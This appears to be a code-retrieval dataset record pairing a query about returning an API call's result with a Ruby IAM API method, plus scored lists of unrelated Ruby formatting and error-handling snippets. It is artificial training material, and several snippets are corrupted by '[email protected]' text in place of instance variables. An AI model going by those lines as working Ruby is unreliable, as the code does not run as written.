"def format_resource(provider, _)\n str_h1 = '%-80s'\n id = provider['ID']\n body = provider.body\n\n CLIHelper.print_header(str_h1 % \"PROVIDER #{id} INFORMATION\")\n puts format('ID : %<s>s', :s => id)\n puts format('NAME : %<s>s', :s => provider['NAME'])\n\n return if body['provider'] == 'onprem'\n\n # Get max size to adjust all the values\n size = body['connection'].keys.map {|k| k.size }.max\n data = {}\n\n # Generate data value with the new key adjusted format\n body['connection'].map {|k, v| data[k.ljust(size)] = v }\n\n puts\n CLIHelper.print_header(str_h1 % 'CONNECTION INFORMATION')\n data.each do |key, value|\n CLIHelper.scr_bold\n print \"#{key} : \"\n CLIHelper.scr_restore\n puts value\n end\n end",
"def to_safe_format!\n rows { |r| r.map! { |v|\n if v.is_a?( String )\n v[0] == '=' ? v.sub( /\\A=/,\"'=\" ) : v\n else\n v.to_s\n end\n } }; self\n end",
"def format\n collect { |a| a.format }\n end",
"def print_primary_attributes\n \"Strenght(STR):#{str}, Dexterity(DEX):#{dex}, Inteligence(INT):#{int}, Constitution(CON):#{con}, Appearence(APP):#{app}, Power(POW):#{pow}, Size:#{siz}, Education:#{edu}\"\n end",
"def b_format_form\n \"#{id} - #{cert_ope}\"\n end",
"def format_conversion\n { account_id: self.account_id.to_s, app_id: self.app_id.to_s, actor_id: self.actor_id.to_s, properties: self.properties, time: self.updated_at}\n rescue => e\n Rails.logger.error(\"**** ERROR **** #{e.message}\")\n {}\n end",
"def pretty_json\n JSON.pretty_generate({\n region: @region,\n permissions: {\n policy: if @policy_name then {\n template: @policy_name,\n } end,\n cors: if @cors_name then {\n template: @cors_name,\n } end,\n grants: @grants.values.map(&:to_h)\n }.reject { |k, v| v.nil? },\n website: if @website then @website.to_h end,\n logging: if @logging then @logging.to_h end,\n notifications: if [email protected]? then @notifications.values.map(&:to_h) end,\n lifecycle: if [email protected]? then @lifecycle.values.map(&:to_h) end,\n versioning: @versioning,\n replication: if @replication then @replication.to_h end,\n default_encryption: if @default_encryption then @default_encryption end,\n tags: @tags,\n }.reject { |k, v| v.nil? })\n end",
"def pretty_output\n JSON.pretty_generate(output)\n end",
"def format_body_for_log_output(obj)\n output = ''\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n _body = obj.body\n output << \"\\n\"\n output << JSON.pretty_generate(JSON.parse(_body)) rescue _body\n return output\n else\n return obj.body\n end\n else\n return obj.body.inspect\n end\n end",
"def formatted_cache_data\n {\n id: id,\n name: name,\n symbol: symbol,\n decimal: decimal,\n contract_address: contract_address,\n constants: constants,\n status: status\n }\n end",
"def formats; end",
"def formats; end",
"def pretty_print\n fields.values.sort_by{|value| value.key}.collect{|value| \"#{value.key}: #{value.join(', ')}\"}.join(\"\\n\")\n rescue ApeTagError => e\n \"CORRUPT TAG!: #{e.message}\"\n rescue Errno::ENOENT, Errno::EINVAL\n \"FILE NOT FOUND!\"\n end",
"def format\n output = @sum.to_s\n\n if @verbose\n @raw.each do |h|\n @display << \"#{h.keys[0]}:#{h.values[0]} \"\n end\n\n output << \" -- #{@display.strip}\"\n end\n\n output\n end",
"def to_s\n JSON.pretty_generate(raw)\n end",
"def prettyPrint\n\t\tputs \"'#{@name}' : #{@ingredient.length} ingredients\"\n\n\t\tfor i in [email protected]\n\t\t\tputs \" #{@ingredient[i].amount} #{@ingredient[i].units} #{@ingredient[i].name}\"\n\t\tend\n\n\t\tif @garnish\n\t\t\tputs \" Garnish with #{@garnish}\"\n\t\tend\n\tend",
"def basic_stack_data_format(info)\n info = info.to_smash\n Smash.new(\n :id => info[:id],\n :created => Time.parse(info[:insertTime]),\n :updated => Time.parse(info.fetch(:operation, :endTime, info.fetch(:operation, :startTime, info[:insertTime]))),\n :description => info[:description],\n :name => info[:name],\n :state => determine_state(info.fetch(:operation, {})),\n :status => determine_state(info.fetch(:operation, {})).to_s.split('_').map(&:capitalize).join(' '),\n :custom => info\n )\n end",
"def format!; end",
"def to_s()\n prettify()\n end",
"def format_metadata\n [ {:key => :department, :value => @options[:department]},\n {:key => :project, :value => @options[:project]},\n {:key => :jenkins_build_url, :value => @options[:jenkins_build_url]},\n {:key => :sshKeys, :value => \"google_compute:#{File.read(find_google_ssh_public_key).strip}\" }\n ].delete_if { |member| member[:value].nil? or member[:value].empty?}\n end",
"def format_output(result, format)\n case format\n when :json\n JSON.pretty_generate(result)\n when :yaml\n YAML.dump(result)\n when :text\n result = result.keys if result.respond_to?(:keys)\n result.join(\" \")\n else\n raise ArgumentError, \"Unknown output format #{format}\"\n end\n end",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def format_repsonse( result, error, id )\n\t\tquote = '\"'\n\t\t\t'{ \"result\" : ' + result.to_json + \n\t\t\t\t', \"error\":\"' + error.to_s + \n\t\t\t\t'\", \"id\": ' + quote + id.to_s + quote + ' }'\n\t\tend",
"def format_response\n return '' if data.nil? || data.empty?\n\n case data\n when Hash\n message = data[:message] ? data[:message] : ' '\n docs = data[:documentation_url]\n error = create_error_summary\n message << error if error\n message << \"\\nSee: #{docs}\" if docs\n message\n when String\n data\n end\n end",
"def format_metadata(obj)\n '<table class=\"table table-sm table-responsive\">' +\n obj.metadata.data.map do |k, v|\n case k\n when /^run_/, :plugins, :user\n next\n when :web_assembly_gz\n v = \"<a href='#{v}'>#{v[0..50]}...</a>\"\n when :datasets\n v = v.size\n end\n \"<tr><td class='text-right pr-4'><b>#{format_name(k)}</b></td>\" \\\n \"<td>#{v}</td></tr>\"\n end.compact.join('') +\n '</table>'\n end",
"def formatted_client_display_info\n output_info = []\n output_info << \"Name: #{@name}\"\n output_info << \"Age: #{@age}\"\n output_info << \"Children: #{@number_of_children}\"\n output_info << \"Pets: #{self.number_of_pets}\"\n @pets.each { |k, pet| output_info << \" #{pet.name} is #{pet.age}, and likes to play with... #{pet.toys}\" }\n # add a blank line\n output_info << \" \"\n return output_info\n end",
"def preetify\n preety_print do |instance|\n instance['users'].each_with_index do |user, index|\n puts \"user_#{index}\".to_s.ljust(30) + user['name'].to_s\n end\n\n instance['tickets'].each_with_index do |ticket, index|\n puts \"ticket_#{index}\".to_s.ljust(30) + ticket['subject'].to_s\n end\n end\n end",
"def string_resource(resource)\n mystring=\"\\t\" + resource[:type].downcase + '{\"' + resource[:title] + '\":'+\"\\n\"\n resource[:parameters].each_pair do |k,v|\n if v.is_a?(Array)\n indent = \" \" * k.to_s.size\n\n mystring+=\"\\t #{k} => [\\n\"\n v.each do |val|\n mystring+=\"\\t #{indent} #{val},\\n\"\n end\n mystring+=\"\\t #{indent} ]\\n\"\n else\n mystring+=\"\\t #{k} => #{v}\\n\"\n end\n end\n mystring+=\"\\t}\\n\"\nend",
"def formated_api\n {\n id: self.id,\n name: self.name,\n icon: self.icon,\n }\n end",
"def api_format\n {\n name: name_with_prefix,\n custom_id: custom_id,\n tags: tags,\n # summary: {\n # # Counts\n # hosts: hosts.size,\n # networks: networks.size,\n # volumes: volumes.size,\n\n # # Sums\n # sockets: total_sockets,\n # cores: total_cpu_cores,\n # threads: total_threads,\n # speed_mhz: total_cpu_mhz,\n # memory_bytes: total_memory,\n # storage_bytes: total_storage_bytes,\n # lan_bandwidth_mbits: total_lan_bandwidth_mbits,\n # wan_bandwidth_mbits: 0\n # },\n\n # Nested models\n hosts: hosts.map(&:api_format),\n networks: networks_with_defaults,\n volumes: volumes.map(&:api_format)\n }\n end",
"def inspect\n inspected = super\n\n inspected.gsub!(@access_token, \"#{\"*\" * 24}#{@access_token[24..-1]}\") if @access_token # standard:disable Style/SlicingWithRange\n inspected.gsub!(@client_secret, \"#{\"*\" * 12}#{@client_secret[12..-1]}\") if @client_secret # standard:disable Style/SlicingWithRange\n\n inspected\n end",
"def pretty_json\n JSON.pretty_generate({\n \"cooldown-seconds\" => @cooldown,\n \"enabled-metrics\" => @enabled_metrics,\n \"health-check-type\" => @check_type,\n \"health-check-grace-seconds\" => @check_grace,\n \"launch-configuration\" => @launch,\n \"load-balancers\" => @load_balancers,\n \"policies\" => {\n \"static\" => [],\n \"templates\" => [],\n \"inlines\" => @policies.map { |p| p.hash }\n },\n \"scheduled\" => @scheduled.map { |s| s.hash },\n \"size\" => {\n \"min\" => @min,\n \"max\" => @max,\n \"desired\" => @desired\n },\n \"subnets\" => @subnets,\n \"tags\" => @tags,\n \"termination\" => @termination\n }.reject { |k, v| v.nil? })\n end",
"def pretty\n out = ''\n\n self.each do |line|\n out << line.line + ' : ' + line.commit + \"\\n\"\n out << ' ' + line.summary + \"\\n\"\n out << \" author:\\n\"\n out << ' ' + line.author + \"\\n\"\n out << ' ' + line.author_email + \"\\n\"\n out << ' @ ' + line.author_timestamp + \"\\n\"\n out << ' ' + line.author_timezone + \"\\n\"\n out << \"\\n\"\n out << \" committer:\\n\"\n out << ' ' + line.committer + \"\\n\"\n out << ' ' + line.committer_email + \"\\n\"\n out << ' @ ' + line.committer_timestamp + \"\\n\"\n out << ' ' + line.committer_timezone + \"\\n\"\n out << \"\\n\"\n end\n\n out\n end",
"def format_result(result)\n result\n end",
"def to_s\r\n pretty_output\r\n end",
"def template_like_str(attributes, indent = true)\n if indent\n ind_enter = \"\\n\"\n ind_tab = ' '\n else\n ind_enter = ''\n ind_tab = ' '\n end\n\n attributes.collect do |key, value|\n next unless value\n\n str_line = ''\n\n if value.class == Array\n\n value.each do |value2|\n str_line << key.to_s.upcase << '=[' << ind_enter\n\n if value2 && value2.class == Hash\n str_line << value2.collect do |key3, value3|\n str = ind_tab + key3.to_s.upcase + '='\n\n if value3\n str += \"\\\"#{value3}\\\"\"\n end\n\n str\n end.compact.join(\",\\n\")\n end\n str_line << \"\\n]\\n\"\n end\n\n elsif value.class == Hash\n str_line << key.to_s.upcase << '=[' << ind_enter\n\n str_line << value.collect do |key3, value3|\n str = ind_tab + key3.to_s.upcase + '='\n\n if value3\n str += \"\\\"#{value3}\\\"\"\n end\n\n str\n end.compact.join(\",\\n\")\n\n str_line << \"\\n]\\n\"\n\n else\n str_line << key.to_s.upcase << '=' << \"\\\"#{value}\\\"\"\n end\n str_line\n end.compact.join(\"\\n\")\n end",
"def cdr_to_fmt\n '%s'\n end",
"def apdata\n \"#{name_rus}, #{iata_code}, г.#{city_rus} (#{city_eng})\"\n end",
"def formatted_cache_data\n {\n id: id,\n client_id: client_id,\n name: name,\n symbol: symbol,\n conversion_factor: conversion_factor.present? ? conversion_factor.to_s : conversion_factor, # should be string as it goes to FE\n decimal: decimal,\n status: status,\n stake_currency_id: stake_currency_id,\n properties: properties.present? ? Token.get_bits_set_for_properties(properties) : [],\n }\n end",
"def template_like_str(attributes, indent = true)\n if indent\n ind_enter = \"\\n\"\n ind_tab = ' '\n else\n ind_enter = ''\n ind_tab = ' '\n end\n\n str = attributes.collect do |key, value|\n next unless value\n\n str_line = ''\n\n if value.class == Array\n\n value.each do |value2|\n str_line << key.to_s.upcase << '=[' << ind_enter\n\n if value2 && value2.class == Hash\n str_line << value2.collect do |key3, value3|\n str = ind_tab + key3.to_s.upcase + '='\n\n if value3\n str += \"\\\"#{value3}\\\"\"\n end\n\n str\n end.compact.join(\",\\n\")\n end\n str_line << \"\\n]\\n\"\n end\n\n elsif value.class == Hash\n str_line << key.to_s.upcase << '=[' << ind_enter\n\n str_line << value.collect do |key3, value3|\n str = ind_tab + key3.to_s.upcase + '='\n\n if value3\n str += \"\\\"#{value3}\\\"\"\n end\n\n str\n end.compact.join(\",\\n\")\n\n str_line << \"\\n]\\n\"\n\n else\n str_line << key.to_s.upcase << '=' << \"\\\"#{value}\\\"\"\n end\n str_line\n end.compact.join(\"\\n\")\n\n str\n end",
"def format_result(result)\n result\n end",
"def to_s(formatting = :default)\n puts \"Called\"\n case formatting\n when :inline\n \"#{street}, #{piv(street_2, true)}#{piv(street_3, true)}#{city}, #{porsa}, #{zip}#{cif(true)}\"\n else\n \"#{street}\\n#{piv(street_2)}#{piv(street_3)}#{city}, #{porsa} #{zip}#{cif}\"\n end\n end",
"def to_s\n s = \"Influence:\"\n s += \"\\n\\tuser_id: \" + user_id.to_s\n s += \"\\n\\tdate: \" + date.to_s\n s += \"\\n\\tacceleration: \" + acceleration.to_s \n s += \"\\n\\tvelocity: \" + velocity.to_s\n s += \"\\n\\taudience: \" + audience.to_s \n s += \"\\n\\tcreated_at: \" + created_at.to_s\n s\n end",
"def pretty_json\n JSON.pretty_generate({\n \"id\" => @id,\n \"aliases\" => @aliases,\n \"origins\" => @origins.map(&:to_local),\n \"default-cache-behavior\" => @default_cache_behavior.to_local,\n \"cache-behaviors\" => @cache_behaviors.map(&:to_local),\n \"comment\" => @comment,\n \"enabled\" => @enabled,\n })\n end",
"def gen_raw_line\n return nil unless self.valid?\n line = ''\n data = []\n SUB_STR_ATTRIBUTES.each do |field,field_regex|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n line = \"#{data.join ' ,'}\"\n end\n\n data = []\n BOOL_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \",#{data.join ','} \"\n end\n end\n\n data = []\n ARR_STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \", #{data.join ','} \"\n end\n end\n\n data = []\n STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n line += data.join ' '\n return line\n end",
"def format\n @_format\n end",
"def format_entity(data)\n { \n uid: data['FixtureId'],\n name: name(data),\n tournament_name: tournament_name(data),\n country_name: country_name(data),\n team_names: team_names(data)\n }\n end",
"def to_s\n self.to_array.map{ |hsh| JSON.pretty_generate(hsh) }.join(\"\\n\")\n end",
"def inspect\n JSON.pretty_generate to_h\n end",
"def tidy(data)\n indent = 0\n data.split(/\\n/).map do |line|\n line.gsub!(/^\\s*/, '')\n next if line.empty?\n indent -= 1 if line =~ /^\\s*\\}\\s*$/\n line = (' ' * (indent * 2)) + line\n indent += 1 if line =~ /\\{\\s*$/\n line\n end.compact.join(\"\\n\") + \"\\n\"\n end",
"def format_vip_attributes\n self.title = self.title.titleize\n self.house = self.house.titleize\n self.town = self.town.titleize\n self.post_code = self.post_code.upcase\n end",
"def format_body_for_log_output(obj)\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n _body = obj.body\n output = JSON.pretty_generate(JSON.parse(_body)) rescue _body\n return output\n else\n return obj.body\n end\n elsif obj.content_type == 'application/xml'\n return obj.body\n else\n return obj.body.inspect\n end\n end",
"def to_s\n\t\tres = \"\\nname: \" + name.to_s + \"\\nid: \" + id.to_s + \"\\nservice: \" + service.to_s + \"\\ntitle: \" + title.to_s + \"\\nthumbnail: \" + thumbnail.to_s + \"\\nhref: \" + href.to_s\n\t\tres\n\tend",
"def format\n text = \"[#{name}]\\n\"\n @entries.each do |entry|\n if entry.is_a?(Array)\n key, value = entry\n text << \"#{key}=#{value}\\n\" unless value.nil?\n else\n text << entry\n end\n end\n text\n end",
"def format_data(property)\n property.to_h.tap do |attributes|\n attributes.delete(:availabilities)\n end\n end",
"def inspect\t\t\n\t\tmsg = '{'\n\t\[email protected]_with_index do |info, index|\n\t\t\tmsg += info.to_s\n\t\t\tmsg += \", \" if @hash.size > 1 and index + 1 < @hash.size \n\t\tend\n\t\tmsg += '}'\n\t\tmsg\n\tend",
"def to_s\n \"{ name: #{ @name }, age: #{ @age } }\"\n end"
] |
[
"0.61687845",
"0.6100789",
"0.6078017",
"0.5914991",
"0.5803413",
"0.58017045",
"0.5798461",
"0.57787997",
"0.5723188",
"0.5723188",
"0.5723188",
"0.5700606",
"0.5678063",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5668399",
"0.5641512",
"0.56369185",
"0.56126124",
"0.56075937",
"0.55755913",
"0.55709577",
"0.5558154",
"0.55466574",
"0.5537261",
"0.55266833",
"0.5477114",
"0.5471265",
"0.5461324",
"0.54482394",
"0.5443174",
"0.5442255",
"0.5438475",
"0.5438475",
"0.5428565",
"0.54229504",
"0.54056853",
"0.5396255",
"0.539193",
"0.53895307",
"0.53800464",
"0.53800267",
"0.53782314",
"0.5377235",
"0.53673106",
"0.53484625",
"0.5342092",
"0.53360873",
"0.5323214",
"0.5323214",
"0.53223264",
"0.5322261",
"0.5317318",
"0.5314108",
"0.53084373",
"0.53061587",
"0.5304602",
"0.5304584",
"0.52881944",
"0.5278784",
"0.5270886",
"0.5259304",
"0.52462804",
"0.52411735",
"0.52376884",
"0.5233559",
"0.5229985",
"0.52216077",
"0.52198696",
"0.5202683",
"0.5197552",
"0.5193758",
"0.5193421",
"0.51901585",
"0.5176374",
"0.51714814",
"0.5171419",
"0.5167952",
"0.5166555",
"0.51663303",
"0.5162474",
"0.51593906",
"0.5159058",
"0.51515067",
"0.5150439",
"0.51476383",
"0.5147512",
"0.5143587",
"0.5140515",
"0.5136862",
"0.5136031",
"0.51278704",
"0.5125191",
"0.51233697",
"0.5122869"
] |
0.62097186
|
0
|
Returns an object containing the result from an api call, else a string with the error message
|
def get_from_api(api, query = {})
uri = URI.parse($SETTINGS['IAM_HOST'] + '/' + api);
query['key'] = $SETTINGS['IAM_API_TOKEN']
uri.query = URI.encode_www_form(query)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
if response.code == '200'
data = JSON.parse(response.body)
case data['responseStatus']
when 0 # Success
return data['responseData']['results']
when 1 # Sucess but no data in results
return data['responseData']['results']
when 2 # Invalid API key
$logger.error 'Invalid IAM API key'
return false
when 3 # Generic System Error
$logger.error 'IAM encountered a generic system error'
$logger.error response.body
return false
when 4 # Data error
$logger.error 'IAM encountered a data error'
$logger.error response.body
return false
when 5 # Missing parameters
$logger.error 'Missing parameters in IAM API call'
$logger.error response.body
return false
else
$logger.error 'Unknown response code from IAM'
$logger.error response.body
return false
end
else
$logger.error "Could not connect to IAM API due to #{response.code}"
$logger.error response.body
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def raise_api_error_msg(res)\n \"HTTP status code: #{res.status}, \" \\\n \"Error message: #{res.body['message']}, \" \\\n \"Reference: #{res.body['reference']}\"\n end",
"def api_error\n return nil if @api_response.nil?\n\n m = \"#{@api_method.to_s.upcase} \"\n m << \"#{@api_url} : \"\n m << \"#{@api_status} - \"\n m << \"#{@api_message} (request Id: #{@api_request_id})\"\n m\n end",
"def get_api_values(query) \n retval = perform_api_request(query) \n if retval[\"Status\"] != \"OK\" \n puts response.body \n raise \"Expected status OK, but was #{retval[\"Status\"]}\" \n end \n return retval[\"Value\"] \nend",
"def error\n response_json.fetch(\"error\", \"\")\n end",
"def format_response_or_raise_error response\n if response.status / 100 == 2\n response.body\n elsif response.status == 404\n raise Unloq::APIError::NotFoundError.new(response.status, response.body)\n else\n raise Unloq::APIError.new(response.status, response.body)\n end\n end",
"def api_error\n dm_data.first.first == \"errors\"\n end",
"def api_error; end",
"def api_return(rc=0, message ='', obj=nil, exception=nil )\n ret = {\n rc: exception ? (rc > 0 ? rc : 8) : rc,\n message: message\n }\n ret[:exception] = exception.to_s if exception\n ret[:return] = obj if obj\n ret\n end",
"def error_message\n if !success?\n body\n end\n rescue JSON::ParserError => ex\n ex.message\n end",
"def format_response\n return '' if data.nil? || data.empty?\n\n case data\n when Hash\n message = data[:message] ? data[:message] : ' '\n docs = data[:documentation_url]\n error = create_error_summary\n message << error if error\n message << \"\\nSee: #{docs}\" if docs\n message\n when String\n data\n end\n end",
"def error\n return unless id.nil?\n @error ||= @response['message']\n end",
"def create_response(api_response, errors)\n Rails.logger.error \"#{Time.now} ERRORS: #{errors}\"\n api_response[:code] = 99 if errors.length >= 1\n unless errors.empty?\n long_error = \"\"\n errors.each do |error|\n long_error += \"#{error} \"\n end\n api_response[:result] = long_error\n end\n return api_response\n end",
"def extact_error_message(body)\n error_response = JSON.parse(body)\n error_response[\"errorMessage\"][0][\"error\"][0][\"message\"][0] rescue \"Unexpected error occured!\"\n end",
"def render_error(type = nil)\n if type == \"empty\"\n render json: { error: \"No results were found! Please try again with another keyword.\" }, status: 422\n elsif type == \"missing_params\"\n render json: { error: \"Query missing. Please try again with a query string.\" }\n else\n render json: { error: \"Access denied: your API key is invalid. Please enter a valid API key to continue.\" }, status: 401\n end\n end",
"def handle_response(result)\n unless result.success\n #if result.error_class\n # TODO needs to be constantized first (see TODO in lib/rjr/message)\n # raise result.error_class.new(result.error_msg) unless result.success\n #else\n fail result.error_msg\n #end\n end\n return result.result\n end",
"def error_response_method(error)\n if !params[:format].nil? && params[:format] == \"json\"\n @error = {}\n @error[\"code\"]=error[\"status_code\"]\n @error[\"message\"]=error[\"status_message\"]\n return @error\n end\n end",
"def result\n unless @result[:api_version] \n @result[:api_version] = @api_version\n @result[:stats] = @stats if self.include_stats\n end\n if @stats[:errors] > 0\n @result[:errors] = @errors.map { | x | [ x[0], x[1].inspect, x[1].backtrace * \"\\n\" ] }\n end\n @result\n end",
"def error\n return if success? unless parse_error?\n @data['error'] || @data['message']\n end",
"def json_error(message = 'An error occurred')\n { status: 'error', message: message }\n end",
"def error_object\n {:success => false, :error => \"Error encountered\"}\n end",
"def error\n return {error: \"\"}\n end",
"def error\n @obj['error']\n end",
"def api_result_errors(result)\n return result.to_h['errors'].map { |item| item['message'] }\n end",
"def error\n @error_response\n end",
"def error_message(obj, name = \"\")\n if name.present? && obj.get_operation_result.code.zero?\n \"Could not find user '#{name}'\"\n else\n \"#{obj.get_operation_result.message} (code #{obj.get_operation_result.code})\"\n end\n end",
"def get_error_response()\n error_message = \"\"\n @errors.each do |k,v|\n error_message << v + \",\"\n end\n error_message\n end",
"def first_error_message\n response_as_json[\"errors\"].first[\"message\"]\n end",
"def api_return(type, *args, **opt)\n opt[:error] = exception if exception\n type.new(response, *args, **opt)\n end",
"def failure_response(api_response, response)\n error_message = if response[:create_pickup_reply]\n [response[:create_pickup_reply][:notifications]].flatten.first[:message]\n else\n \"#{api_response[\"Fault\"][\"detail\"][\"fault\"][\"reason\"]}\\n--#{Array(api_response[\"Fault\"][\"detail\"][\"fault\"][\"details\"][\"ValidationFailureDetail\"][\"message\"]).join(\"\\n--\")}\"\n end rescue $1\n raise RateError, error_message\n end",
"def response_errors\n parsed_response['error']\nend",
"def exception_response\n { ok: false, message: 'Error processing request' }\n end",
"def render_api_error(code, status_code, type = 'error' , message = nil)\n error = {}\n error[\"code\"] = code\n error[\"type\"] = type\n error[\"message\"] = message || API_CONFIG[\"api.error\"][code]\n Rails.logger.info(\"Rendered API error. Request: #{request.body.read} \\n Responded:\\n#{{error: error, status: status_code}}\")\n render json: {'error' => error}.to_json, status: status_code\n end",
"def error\n return unless body['error'] || body['error_message']\n\n error_response = normalize_error(body)\n deserialize_json(error_response)\n end",
"def error_result_obj(error_text)\n error_with_data(\n 'ccv_1',\n 'Invalid fields value',\n '',\n GlobalConstant::ErrorAction.default,\n {},\n {err: error_text}\n )\n end",
"def failure_response(api_response, response)\n error_message = if response[:cancel_pickup_reply]\n [response[:cancel_pickup_reply][:notifications]].flatten.first[:message]\n else\n \"#{api_response[\"Fault\"][\"detail\"][\"fault\"][\"reason\"]}\\n--#{Array(api_response[\"Fault\"][\"detail\"][\"fault\"][\"details\"][\"ValidationFailureDetail\"][\"message\"]).join(\"\\n--\")}\"\n end rescue $1\n raise RateError, error_message\n end",
"def check_response\n if @res.blank? || @res.error\n flash[:error] = t \"errors.api\"\n end\n end",
"def error\n @data['error']\n end",
"def error\n @data['error']\n end",
"def error\n data['error']\n end",
"def failure_response(api_response, response)\n error_message = if response[:envelope][:body][:create_pickup_reply]\n [response[:envelope][:body][:create_pickup_reply][:notifications]].flatten.first[:message]\n else\n \"#{api_response[\"Fault\"][\"detail\"][\"fault\"][\"reason\"]}\\n--#{Array(api_response[\"Fault\"][\"detail\"][\"fault\"][\"details\"][\"ValidationFailureDetail\"][\"message\"]).join(\"\\n--\")}\"\n end rescue $1\n raise RateError, error_message\n end",
"def error_message(response)\n json = parse_as_json(response)\n json.dig('error', 'message')\n rescue UnexpectedResponseError\n summary = \"Status: #{response.code}; Body: #{response.body}\"\n \"Could not parse error message. #{summary}\"\n end",
"def response_body(response)\n case response\n when Net::HTTPSuccess\n return JSON.parse(response.body)[0]['translations'][0]['text']\n when Net::HTTPUnauthorized\n msg = 'invalid API key?'\n when Net::HTTPServerError\n msg = 'try again later?'\n end\n @progress.logMessage(\"ERROR: #{response.message}\")\n @progress.logMessage(msg) unless msg.nil?\n end",
"def check_response\n unless (res = get).valid?\n raise BadResponse, \"#{res.code} #{res['Code'].first}\"\n end\n\n res\n end",
"def return_error(message)\n result = {}\n result[:_error] = {\n msg: message,\n kind: 'puppetlabs/cisco_ios',\n details: {}\n }\n puts result.to_json\n exit 1\nend",
"def ret_fail(text)\n {'response'=>false, 'report'=> text}\nend",
"def parse_api_response(http_response)\n response_data = Oj.load(http_response.body, mode: :strict) rescue {} #, {symbol_keys: true}\n case http_response.class.name\n when 'Net::HTTPOK'\n if response_data['success']\n # Success\n formatted_data = format_success_response_data(response_data['data'])\n Rails.logger.debug(\"API formatted data ==*== #{formatted_data.inspect}\")\n Rails.logger.debug(\"API response_data['go_to'] ==*== #{response_data['go_to'].inspect}\")\n success_with_data(formatted_data, response_data['go_to'])\n elsif response_data['err']['go_to'].present?\n # API Error\n Rails.logger.info(\"=*=COMPANY-API-ERROR-WITH-GOTO=*= #{response_data.inspect}\")\n error_with_go_to('company_api_error', 'company api error with goto', GlobalConstant::ErrorCode.temporary_redirect, response_data['err']['go_to'])\n else\n # API Error\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= #{response_data.inspect}\")\n error_with_internal_code(\n \"company_api_error\",\n response_data['err']['display_text'],\n GlobalConstant::ErrorCode.internal_server_error,\n {},\n response_data['err']['error_data'],\n response_data['err']['display_text']\n )\n end\n when 'Net::HTTPUnauthorized', 'Net::HTTPPreconditionFailed'\n # Login required\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= Net::HTTPUnauthorized\")\n error_with_go_to('company_api_login_required', 'company api login required', '', {'by_screen_name' => 'login'})\n when 'Net::HTTPNotFound'\n # Page not found - 404\n Rails.logger.info(\"=*=COMPANY-API-ERROR=*= '404 Not Found'\")\n error_with_internal_code('company_api_not_found', 'company api not found', GlobalConstant::ErrorCode.not_found, {}, {}, '404 Not Found')\n else\n # HTTP error status code (500, 504...)\n exception_with_internal_code(\n Exception.new(\"COMPANY API STATUS CODE #{http_response.code.to_i}\"),\n 'company_api_exception',\n 'company api exception',\n http_response.code,\n debug_data\n )\n end\n \n end",
"def error_base\n {\n code: JSONAPI::VALIDATION_ERROR,\n status: :unprocessable_entity\n }\n end",
"def error\r\n\t\t\t`#{BITS::BITSADMIN} /geterror {#{@id}}`\r\n\t\tend",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend",
"def return_error_or_body(response, response_body)\n if response.status == 200\n response_body\n else\n raise Getty::APIError.new(response.status, response.body)\n end\n end",
"def error_message\n @response.reason_phrase\n end",
"def find_solr_error(response)\n return nil unless response && response.body && response.content_type&.start_with?(\"application/json\")\n\n parsed = JSON.parse(response.body)\n\n parsed && parsed.dig(\"error\", \"msg\")\n rescue JSON::ParserError\n return nil\n end",
"def result_status_text\n {\n \"success\" => \"查询成功\",\n \"failed\" => \"查询失败\"\n }.fetch(notify_state, \"无结果\")\n end",
"def error\n return Common::Exceptions::Unauthorized.new(source: self.class) unless user_loa3\n\n mvi_response.try(:error)\n end",
"def error_msg(result, return_nothing_if_successful=true)\n return \"\" if successful?(result) && return_nothing_if_successful\n notes = result.notifications\n if notes.respond_to?(:message)\n notes.message\n elsif notes.respond_to?(:first)\n notes.first.message\n else\n \"No message\"\n end\n end",
"def render_error(comment = nil, result: :error, status: :ok)\n render json: { result: result, comment: comment }, status: status\n end",
"def extract_error_details response\n raise NotImplementedError\n end",
"def error_message\n @data[\"message\"]\n end",
"def result(brightcove_result)\n # i'm not sure if this is really necessary, but some of the tests have\n # nil responses\n return if brightcove_result.nil?\n\n if brightcove_result[\"error\"]\n raise \"#{brightcove_result[\"id\"]}: #{brightcove_result[\"error\"]}\"\n end\n\n brightcove_result.has_key?(\"result\") ?\n brightcove_result[\"result\"] :\n brightcove_result\n end",
"def api_response\n @response\n end",
"def build_fail_output(data)\n\t \t{data: nil, code: 401, result: \"fail\"}\n\t end",
"def load_summoner_from_api(summoner_name, api_key)\n\t\tapi_lgc = APILogic.new\n\t\tret_val = api_lgc.api_load_summoner_from_api(summoner_name, api_key)\n\t\tif ret_val == \"ERROR: Response from API was nil and/or code was not 200.\" then\n\t\t\tret_val = \"\"\n\t\t\tputs \"ERROR: Response from API was nil and/or code was not 200.\"\n\t\tend\n\t\treturn ret_val\n\n\tend",
"def build_excon_response(body, status = 200)\n response = Excon::Response.new(:body => body, :status => status)\n if body && body.key?(\"error\")\n msg = \"Google Cloud did not return an error message\"\n\n if body[\"error\"].is_a?(Hash)\n response.status = body[\"error\"][\"code\"]\n if body[\"error\"].key?(\"errors\")\n msg = body[\"error\"][\"errors\"].map { |error| error[\"message\"] }.join(\", \")\n elsif body[\"error\"].key?(\"message\")\n msg = body[\"error\"][\"message\"]\n end\n elsif body[\"error\"].is_a?(Array)\n msg = body[\"error\"].map { |error| error[\"code\"] }.join(\", \")\n end\n\n case response.status\n when 404\n raise Fog::Errors::NotFound.new(msg)\n else\n raise Fog::Errors::Error.new(msg)\n end\n end\n\n response\n end",
